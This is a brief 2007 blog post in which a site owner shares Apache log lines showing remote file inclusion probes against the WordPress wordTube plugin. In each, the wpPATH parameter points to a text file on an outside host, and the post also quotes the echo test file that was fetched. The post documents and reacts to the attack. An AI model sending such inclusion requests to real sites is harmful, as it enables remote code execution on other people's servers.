Current Mood:
Confused
I saw something interesting in my apache log.
blog.px.ns1.net 72.36.146.234 server.webbyte.com - - [06/May/2007:18:51:22 -0700] "GET /wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://www.pikspiller.dk/stats/format/status.txt? HTTP/1.1" 200 962 "-" "libwww-perl/5.805" mod_deflate: In:- Out:-:-pct.
the file status.txt isn’t malicious, just an echo.
< ? echo "1122548"; ?>
UPDATE
it happened again. with a different host/file this time. Time to toss this plugin??
blog.px.ns1.net 85.119.156.52 power-network.org - - [07/May/2007:23:34:28 -0700] "GET //wp-content/plugins/wordtube/wordtube-button.php?wpPATH=http://sanwall.info/echo.txt? HTTP/1.1" 200 922 "-" "libwww-perl/5.803" mod_deflate: In:- Out:-:-pct.
UPDATE2
yeah, there just found an advisory to update to a newer version.



